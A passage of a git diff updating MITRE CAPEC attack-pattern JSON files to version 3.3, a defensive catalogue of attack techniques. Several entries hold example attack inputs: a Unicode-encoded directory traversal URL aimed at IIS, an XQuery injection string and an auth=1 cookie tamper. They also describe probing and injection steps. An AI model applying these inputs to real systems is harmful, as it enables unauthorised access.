"bundle--4a6cceff-85c0-4b5b-8449-06fc67c0c583", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--649abc91-f615-4c9e-91c9-9e66131e2d78.json b/capec/attack-pattern/attack-pattern--649abc91-f615-4c9e-91c9-9e66131e2d78.json index a86500c5a3..ec347df535 100644 --- a/capec/attack-pattern/attack-pattern--649abc91-f615-4c9e-91c9-9e66131e2d78.json +++ b/capec/attack-pattern/attack-pattern--649abc91-f615-4c9e-91c9-9e66131e2d78.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--fd28ea7a-af80-4f4d-ac63-102288e7c223", + "id": "bundle--4833e86a-7dce-4dc8-9508-ca0d2555c051", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--649abc91-f615-4c9e-91c9-9e66131e2d78", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", - "name": "Manipulating User State", - "description": "The adversary modifies state information maintained by the target software in user-accessible locations. If successful, the target software will use this tainted state information and execute in an unintended manner. State management is an important function within an application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.", + "modified": "2020-07-30T00:00:00.000Z", + "name": "Manipulating State", + "description": "\n The adversary modifies state information maintained by the target software or causes a state transition in hardware. If successful, the target will use this tainted state and execute in an unintended manner.\n State management is an important function within a software application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.\n If there is a hardware logic error in a finite state machine, the adversary can use this to put the system in an undefined state which could cause a denial of service or exposure of secure data.\n ", "external_references": [ { "source_name": "capec", @@ -41,6 +41,21 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/693.html", "external_id": "CWE-693" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1245.html", + "external_id": "CWE-1245" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1265.html", + "external_id": "CWE-1265" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1271.html", + "external_id": "CWE-1271" } ], "object_marking_refs": [ @@ -54,6 +69,9 @@ "Authorization": [ "Gain Privileges" ], + "Availability": [ + "Unreliable Execution" + ], "Confidentiality": [ "Gain Privileges" ], @@ -64,9 +82,11 @@ "x_capec_example_instances": [ "\n During the authentication process, an application stores the authentication decision (auth=0/1) in unencrypted cookies. At every request, this cookie is checked to permit or deny a request.\n An adversary can easily violate this representation of user state and set auth=1 at every request in order to gain illegitimate access and elevated privilege in the application.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Adversary determines the nature of state management employed by the target. This includes determining the location (client-side, server-side or both applications) and possibly the items stored as part of user state.

Experiment

  1. The adversary now tries to modify the user state contents (possibly blindly if the contents are encrypted or otherwise obfuscated) or cause a state transition and observe the effects of this change on the target.

Exploit

  1. Having determined how to manipulate the state, the adversary can perform illegitimate actions.

", "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ - "User state is maintained at least in some way in user-controllable locations, such as cookies or URL parameters." + "User state is maintained at least in some way in user-controllable locations, such as cookies or URL parameters.", + "There is a faulty finite state machine in the hardware logic that can be exploited." ], "x_capec_resources_required": [ "The adversary needs a data tampering tool capable of generating and creating custom inputs to aid in the attack, like Fiddler, Wireshark, or a similar in-browser plugin (e.g., Tamper Data for Firefox)." @@ -76,7 +96,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--64d83978-33f0-48c7-a375-b58fcb0556cd.json b/capec/attack-pattern/attack-pattern--64d83978-33f0-48c7-a375-b58fcb0556cd.json index be16184a4a..1cdce9dbd7 100644 --- a/capec/attack-pattern/attack-pattern--64d83978-33f0-48c7-a375-b58fcb0556cd.json +++ b/capec/attack-pattern/attack-pattern--64d83978-33f0-48c7-a375-b58fcb0556cd.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--31d0dd46-32d1-430b-af19-f902b3ac9151", + "id": "bundle--75fcf326-0363-4dd8-9397-8a15aaa5d8a9", "spec_version": "2.0", "objects": [ { @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/706.html", "external_id": "CWE-706" + }, + { + "source_name": "ATTACK", + "description": "Masquerading", + "url": "https://attack.mitre.org/wiki/Technique/T1036", + "external_id": "T1036" } ], "object_marking_refs": [ @@ -37,7 +43,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--65737f80-588a-449a-af08-0508486d9481.json b/capec/attack-pattern/attack-pattern--65737f80-588a-449a-af08-0508486d9481.json index 4a64066a4d..cad28a8743 100644 --- a/capec/attack-pattern/attack-pattern--65737f80-588a-449a-af08-0508486d9481.json +++ b/capec/attack-pattern/attack-pattern--65737f80-588a-449a-af08-0508486d9481.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--b73fd6ad-a1f1-4d64-8192-1ed912546829", + "id": "bundle--31ec5ccf-bd4a-4937-a4dc-241cc65dad19", "spec_version": "2.0", "objects": [ { @@ -31,7 +31,7 @@ "The ability to calculate a card checksum and write out a valid checksum value. Some cards are protected by a checksum calculation, therefore it is necessary to determine what algorithm is being used to calculate the checksum and to employ that algorithm to calculate and write a new valid checksum for the card being created." ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--658d6220-f15c-44fb-8690-1d14088ed637.json b/capec/attack-pattern/attack-pattern--658d6220-f15c-44fb-8690-1d14088ed637.json index 082b8e4096..c7c80eab34 100644 --- a/capec/attack-pattern/attack-pattern--658d6220-f15c-44fb-8690-1d14088ed637.json +++ b/capec/attack-pattern/attack-pattern--658d6220-f15c-44fb-8690-1d14088ed637.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--648f8974-bc80-4d02-b819-a23c5691ceb0", + "id": "bundle--76c955c5-a6b7-4012-bf72-2d753398b3b6", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--658d6220-f15c-44fb-8690-1d14088ed637", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Peripheral Footprinting", "description": "Adversaries may attempt to obtain information about attached peripheral devices and components connected to a computer system. Examples may include discovering the presence of iOS devices by searching for backups, analyzing the Windows registry to determine what USB devices have been connected, or infecting a victim system with malware to report when a USB device has been connected. This may allow the adversary to gain additional insight about the system or network environment, which may be useful in constructing further attacks.", "external_references": [ @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/200.html", "external_id": "CWE-200" + }, + { + "source_name": "ATTACK", + "description": "Peripheral Device Discovery", + "url": "https://attack.mitre.org/wiki/Technique/T1120", + "external_id": "T1120" } ], "object_marking_refs": [ @@ -36,7 +42,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--65c33cb5-cbae-4a8f-9895-2b7dc6a0f9f5.json b/capec/attack-pattern/attack-pattern--65c33cb5-cbae-4a8f-9895-2b7dc6a0f9f5.json index bf77391e82..8831a05dca 100644 --- a/capec/attack-pattern/attack-pattern--65c33cb5-cbae-4a8f-9895-2b7dc6a0f9f5.json +++ b/capec/attack-pattern/attack-pattern--65c33cb5-cbae-4a8f-9895-2b7dc6a0f9f5.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--c9637f63-5761-4689-a0a8-4c34982e3c0b", + "id": "bundle--36b14266-6a1e-4fb9-a924-cf7ad1d8065e", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--65c33cb5-cbae-4a8f-9895-2b7dc6a0f9f5", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "XQuery Injection", "description": "This attack utilizes XQuery to probe and attack server systems; in a similar manner that SQL Injection allows an attacker to exploit SQL calls to RDBMS, XQuery Injection uses improperly validated data that is passed to XQuery commands to traverse and execute commands that the XQuery routines have access to. XQuery injection can be used to enumerate elements on the victim's environment, inject commands to the local host, or execute queries to remote files and data sources.", "external_references": [ @@ -60,6 +60,7 @@ "x_capec_example_instances": [ "\n An attacker can pass XQuery expressions embedded in otherwise standard XML documents. Like SQL injection attacks, the attacker tunnels through the application entry point to target the resource access layer. The string below is an example of an attacker accessing the accounts.xml to request the service provider send all user names back.\n doc(accounts.xml)//user[Name='*']\n The attacks that are possible through XQuery are difficult to predict, if the data is not validated prior to executing the XQL.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the application for user-controllable inputs: Using a browser or an automated tool, an attacker follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.

    2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. Determine user-controllable input susceptible to injection: Determine the user-controllable input susceptible to injection. For each user-controllable input that the attacker suspects is vulnerable to XQL injection, attempt to inject characters that have special meaning in XQL. The goal is to create an XQL query with an invalid syntax.

    2. Techniques
    Use web browser to inject input through text fields or through HTTP GET parameters.
    Use a web application debugging tool such as Tamper Data, TamperIE, WebScarab,etc. to modify HTTP POST parameters, hidden fields, non-freeform fields, etc.
    Use XML files to inject input.
    Use network-level packet injection tools such as netcat to inject input
    Use modified client (modified by reverse engineering) to inject input.

Exploit

  1. Information Disclosure: The attacker crafts and injects an XQuery payload which is acted on by an XQL query leading to inappropriate disclosure of information.

    2. Techniques
    Leveraging one of the vulnerable inputs identified during the Experiment phase, inject malicious XQuery payload. The payload aims to get information on the structure of the underlying XML database and/or the content in it.

  2. Manipulate the data in the XML database: The attacker crafts and injects an XQuery payload which is acted on by an XQL query leading to modification of application data.

    3. Techniques
    Leveraging one of the vulnerable inputs identified during the Experiment phase, inject malicious XQuery payload.. The payload tries to insert or replace data in the XML database.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The XQL must execute unvalidated data" @@ -69,7 +70,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--66112136-aa17-4300-aef8-d7a42ebc6e38.json b/capec/attack-pattern/attack-pattern--66112136-aa17-4300-aef8-d7a42ebc6e38.json index f4bc0a16e7..ba6f298d8a 100644 --- a/capec/attack-pattern/attack-pattern--66112136-aa17-4300-aef8-d7a42ebc6e38.json +++ b/capec/attack-pattern/attack-pattern--66112136-aa17-4300-aef8-d7a42ebc6e38.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--c03da704-ce1e-4eec-a7cc-e14ed579c4b7", + "id": "bundle--c9d8a296-195c-4612-a5a2-92124f75c87a", "spec_version": "2.0", "objects": [ { @@ -39,7 +39,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--6616521d-b2f8-49c0-95cd-587eab111f91.json b/capec/attack-pattern/attack-pattern--6616521d-b2f8-49c0-95cd-587eab111f91.json index 18dbb4f922..979ae5940e 100644 --- a/capec/attack-pattern/attack-pattern--6616521d-b2f8-49c0-95cd-587eab111f91.json +++ b/capec/attack-pattern/attack-pattern--6616521d-b2f8-49c0-95cd-587eab111f91.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--7c58f45e-b092-4549-8db8-12dda4c57f91", + "id": "bundle--11acedbe-ab4a-4424-a235-50352f8f5b5c", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--6616521d-b2f8-49c0-95cd-587eab111f91", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Catching exception throw/signal from privileged block", "description": "Attackers can sometimes hijack a privileged thread from the underlying system through synchronous (calling a privileged function that returns incorrectly) or asynchronous (callbacks, signal handlers, and similar) means. Having done so, the Attacker may not only likely access functionality the system's designer didn't intend for them, but they may also go undetected or deny other users essential service in a catastrophic (or insidiously subtle) way.", "external_references": [ @@ -48,6 +48,7 @@ "x_capec_example_instances": [ "Attacker targets an application written using Java's AWT, with the 1.2.2 era event model. In this circumstance, any AWTEvent originating in the underlying OS (such as a mouse click) would return a privileged thread. The Attacker could choose to not return the AWT-generated thread upon consuming the event, but instead leveraging its privilege to conduct privileged operations." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Attacker determines the underlying system thread that is subject to user-control

Experiment

  1. Attacker then provides input, perhaps by way of environment variables for the process in question, that affect the executing thread

Exploit

  1. Upon successful hijacking, the attacker enjoys elevated privileges, and can possibly have the hijacked thread do their bidding

", "x_capec_likelihood_of_attack": "Low", "x_capec_prerequisites": [ "The application in question employs a threaded model of execution with the threads operating at, or having the ability to switch to, a higher privilege level than normal users", @@ -63,7 +64,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--663a1a48-1d23-4dd5-869a-02d5a6b05770.json b/capec/attack-pattern/attack-pattern--663a1a48-1d23-4dd5-869a-02d5a6b05770.json index 7d0ed0beea..9cc2cac63b 100644 --- a/capec/attack-pattern/attack-pattern--663a1a48-1d23-4dd5-869a-02d5a6b05770.json +++ b/capec/attack-pattern/attack-pattern--663a1a48-1d23-4dd5-869a-02d5a6b05770.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--24236833-128f-49b0-934e-5b89fceab3e9", + "id": "bundle--b40edc74-80aa-40d7-97e0-3189a7d1dc71", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--663a1a48-1d23-4dd5-869a-02d5a6b05770", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Using Unicode Encoding to Bypass Validation Logic", "description": "An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.", "external_references": [ @@ -110,6 +110,7 @@ "x_capec_example_instances": [ "\n Attack Example: Unicode Encodings in the IIS Server\n A very common technique for a Unicode attack involves traversing directories looking for interesting files. An example of this idea applied to the Web is\n http://target.server/some_directory/../../../winnt\n In this case, the attacker is attempting to traverse to a directory that is not supposed to be part of standard Web services. The trick is fairly obvious, so many Web servers and scripts prevent it. However, using alternate encoding tricks, an attacker may be able to get around badly implemented request filters.\n In October 2000, an adversary publicly revealed that Microsoft's IIS server suffered from a variation of this problem. In the case of IIS, all the attacker had to do was provide alternate encodings for the dots and/or slashes found in a classic attack. The Unicode translations are\n . yields C0 AE/ yields C0 AF\\ yields C1 9C\n Using this conversion, the previously displayed URL can be encoded as\n http://target.server/some_directory/%C0AE/%C0AE/%C0AE%C0AE/%C0AE%C0AE/winntSee also: CVE-2000-0884" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the application for user-controllable inputs: Using a browser or an automated tool, an attacker follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.

    2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. Probe entry points to locate vulnerabilities: The attacker uses the entry points gathered in the \"Explore\" phase as a target list and injects various Unicode encoded payloads to determine if an entry point actually represents a vulnerability with insufficient validation logic and to characterize the extent to which the vulnerability can be exploited.

    2. Techniques
    Try to use Unicode encoding of content in Scripts in order to bypass validation routines.
    Try to use Unicode encoding of content in HTML in order to bypass validation routines.
    Try to use Unicode encoding of content in CSS in order to bypass validation routines.
", "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ "Filtering is performed on data that has not be properly canonicalized." @@ -119,7 +120,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--66b042e0-f88f-4aa5-9d87-1e71a4b3dcd8.json b/capec/attack-pattern/attack-pattern--66b042e0-f88f-4aa5-9d87-1e71a4b3dcd8.json index 068cfb11cf..695bacfbc9 100644 --- a/capec/attack-pattern/attack-pattern--66b042e0-f88f-4aa5-9d87-1e71a4b3dcd8.json +++ b/capec/attack-pattern/attack-pattern--66b042e0-f88f-4aa5-9d87-1e71a4b3dcd8.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--b133b5d7-418d-4a3a-9fa0-9f104510d82d", + "id": "bundle--0dc56c13-3f32-4db3-9d71-a275a128c7f5", "spec_version": "2.0", "objects": [ { @@ -41,7 +41,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--678cbcee-3fba-401f-a0f0-f8edb89d7dbe.json b/capec/attack-pattern/attack-pattern--678cbcee-3fba-401f-a0f0-f8edb89d7dbe.json index 484adfa51c..a57081d920 100644 --- a/capec/attack-pattern/attack-pattern--678cbcee-3fba-401f-a0f0-f8edb89d7dbe.json +++ b/capec/attack-pattern/attack-pattern--678cbcee-3fba-401f-a0f0-f8edb89d7dbe.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--761e28bb-5a22-433b-8bfc-28e47ca325c6", + "id": "bundle--f2f8c90d-8263-4b7e-b9f3-178f1d0deead", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--6854fe89-0829-429f-a95c-89e77ab6c8ed.json b/capec/attack-pattern/attack-pattern--6854fe89-0829-429f-a95c-89e77ab6c8ed.json index ed35acadac..184edccf6a 100644 --- a/capec/attack-pattern/attack-pattern--6854fe89-0829-429f-a95c-89e77ab6c8ed.json +++ b/capec/attack-pattern/attack-pattern--6854fe89-0829-429f-a95c-89e77ab6c8ed.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--4bf8ddff-2f44-4119-94ad-3893e48548d0", + "id": "bundle--4636f247-f71b-4961-8f56-1aed17d42021", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--6854fe89-0829-429f-a95c-89e77ab6c8ed", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Flooding", "description": "An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.", "external_references": [ @@ -26,6 +26,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/770.html", "external_id": "CWE-770" + }, + { + "source_name": "ATTACK", + "description": "Network Denial of Service:Direct Network Flood", + "url": "https://attack.mitre.org/wiki/Technique/T1498/001", + "external_id": "T1498.001" } ], "object_marking_refs": [ @@ -47,7 +53,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--69513cbe-c6db-4eab-858e-54b8aafb005f.json b/capec/attack-pattern/attack-pattern--69513cbe-c6db-4eab-858e-54b8aafb005f.json index 357c54d9de..a43d52d158 100644 --- a/capec/attack-pattern/attack-pattern--69513cbe-c6db-4eab-858e-54b8aafb005f.json +++ b/capec/attack-pattern/attack-pattern--69513cbe-c6db-4eab-858e-54b8aafb005f.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--5506ee74-f0fc-4c36-9292-8e72206fb806", + "id": "bundle--843d06eb-03e7-42d2-aa90-e0a5fc1724f3", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--6a7fbe0a-080e-4f8b-854d-1d959dbeab8e.json b/capec/attack-pattern/attack-pattern--6a7fbe0a-080e-4f8b-854d-1d959dbeab8e.json index 16da92b5c8..6a401549e2 100644 --- a/capec/attack-pattern/attack-pattern--6a7fbe0a-080e-4f8b-854d-1d959dbeab8e.json +++ b/capec/attack-pattern/attack-pattern--6a7fbe0a-080e-4f8b-854d-1d959dbeab8e.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--db2ca740-2ce5-4da1-b37d-d17dae4dd070", + "id": "bundle--a4bb34b5-f92b-4355-93c0-4311132e2ff9", "spec_version": "2.0", "objects": [ { @@ -43,7 +43,7 @@ "A tool, such as a MITM Proxy, that is capable of generating and injecting custom inputs to be used in the attack." ], "x_capec_status": "Stable", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--6a99b39b-b14a-4617-8aeb-bce85979f520.json b/capec/attack-pattern/attack-pattern--6a99b39b-b14a-4617-8aeb-bce85979f520.json index 63d5350444..f415f103db 100644 --- a/capec/attack-pattern/attack-pattern--6a99b39b-b14a-4617-8aeb-bce85979f520.json +++ b/capec/attack-pattern/attack-pattern--6a99b39b-b14a-4617-8aeb-bce85979f520.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--297571e0-1cfa-428e-991d-acdddccaa96d", + "id": "bundle--f02a4e8a-caac-4681-bcef-ee7f2e260f75", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--6a99b39b-b14a-4617-8aeb-bce85979f520", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Session Sidejacking", "description": "Session sidejacking takes advantage of an unencrypted communication channel between a victim and target system. The attacker sniffs traffic on a network looking for session tokens in unencrypted traffic. Once a session token is captured, the attacker performs malicious actions by using the stolen token with the targeted application to impersonate the victim. This attack is a specific method of session hijacking, which is exploiting a valid session token to gain unauthorized access to a target system or information. Other methods to perform a session hijacking are session fixation, cross-site scripting, or compromising a user or server machine and stealing the session token.", "external_references": [ @@ -66,8 +66,9 @@ ] }, "x_capec_example_instances": [ - "The attacker and the victim are using the same WiFi public hotspot. When the victim connects to the hotspot, he has a hosted e-mail account open. This e-mail account uses AJAX on the client side which periodically asynchronously connects to the server side and transfers, amongst other things, the user's session token to the server. The communication is supposed to happen over HTTPS. However, the configuration in the public hotspot initially disallows the HTTPS connection (or any other connection) between the victim and the hosted e-mail servers because the victim first needs to register with the hotspot. The victim does so, but his e-mail client already defaulted to using a connection without HTTPS, since it was denied access the first time. Victim's session token is now flowing unencrypted between the victim's browser and the hosted e-mail servers. The attacker leverages this opportunity to capture the session token and gain access to the victim's hosted e-mail account." + "The attacker and the victim are using the same WiFi public hotspot. When the victim connects to the hotspot, they has a hosted e-mail account open. This e-mail account uses AJAX on the client side which periodically asynchronously connects to the server side and transfers, amongst other things, the user's session token to the server. The communication is supposed to happen over HTTPS. However, the configuration in the public hotspot initially disallows the HTTPS connection (or any other connection) between the victim and the hosted e-mail servers because the victim first needs to register with the hotspot. The victim does so, but their e-mail client already defaulted to using a connection without HTTPS, since it was denied access the first time. Victim's session token is now flowing unencrypted between the victim's browser and the hosted e-mail servers. The attacker leverages this opportunity to capture the session token and gain access to the victim's hosted e-mail account." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Detect Unprotected Session Token Transfer: The attacker sniffs on the wireless network to detect unencrypted traffic that contains session tokens.

    2. Techniques
    The attacker uses a network sniffer tool like ferret or hamster to monitor the wireless traffic at a WiFi hotspot while examining it for evidence of transmittal of session tokens in unencrypted or recognizably encrypted form. An attacker applies their knowledge of the manner by which session tokens are generated and transmitted by various target systems to identify the session tokens.

Experiment

  1. Capture session token: The attacker uses sniffing tools to capture a session token from traffic.

  2. Insert captured session token: The attacker attempts to insert a captured session token into communication with the targeted application to confirm viability for exploitation.

Exploit

  1. Session Token Exploitation: The attacker leverages the captured session token to interact with the targeted application in a malicious fashion, impersonating the victim.

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "An attacker and the victim are both using the same WiFi network.", @@ -83,7 +84,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--6aac48b7-c277-46ba-b9c0-523471a84c11.json b/capec/attack-pattern/attack-pattern--6aac48b7-c277-46ba-b9c0-523471a84c11.json index 649fbf062a..0b0b1154f0 100644 --- a/capec/attack-pattern/attack-pattern--6aac48b7-c277-46ba-b9c0-523471a84c11.json +++ b/capec/attack-pattern/attack-pattern--6aac48b7-c277-46ba-b9c0-523471a84c11.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--fb75721c-9193-4d33-a098-9f66da7b937d", + "id": "bundle--569d46a8-0119-49f0-b916-eeff50d756af", "spec_version": "2.0", "objects": [ { @@ -36,7 +36,7 @@ "Access to the system containing the ATA Drive so that the drive can be physically removed from the system." ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--6cfc4047-a0fb-42ac-bf94-226a21c40c80.json b/capec/attack-pattern/attack-pattern--6cfc4047-a0fb-42ac-bf94-226a21c40c80.json index e6f33ee003..27287a5fac 100644 --- a/capec/attack-pattern/attack-pattern--6cfc4047-a0fb-42ac-bf94-226a21c40c80.json +++ b/capec/attack-pattern/attack-pattern--6cfc4047-a0fb-42ac-bf94-226a21c40c80.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--66ed1c07-4e09-414b-bb33-04bd57590166", + "id": "bundle--b2a68181-cbc8-41c5-8743-cb91063a1c4e", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--6cfc4047-a0fb-42ac-bf94-226a21c40c80", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Services Footprinting", "description": "An adversary exploits functionality meant to identify information about the services on the target system to an authorized user. By knowing what services are registered on the target system, the adversary can learn about the target environment as a means towards further malicious behavior. Depending on the operating system, commands that can obtain services information include \"sc\" and \"tasklist/svc\" using Tasklist, and \"net start\" using Net.", "external_references": [ @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/200.html", "external_id": "CWE-200" + }, + { + "source_name": "ATTACK", + "description": "System Service Discovery", + "url": "https://attack.mitre.org/wiki/Technique/T1007", + "external_id": "T1007" } ], "object_marking_refs": [ @@ -48,7 +54,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--6d2a085c-4a06-4bd2-8998-ba78a4302ab0.json b/capec/attack-pattern/attack-pattern--6d2a085c-4a06-4bd2-8998-ba78a4302ab0.json index 294c76b114..b506af9fa2 100644 --- a/capec/attack-pattern/attack-pattern--6d2a085c-4a06-4bd2-8998-ba78a4302ab0.json +++ 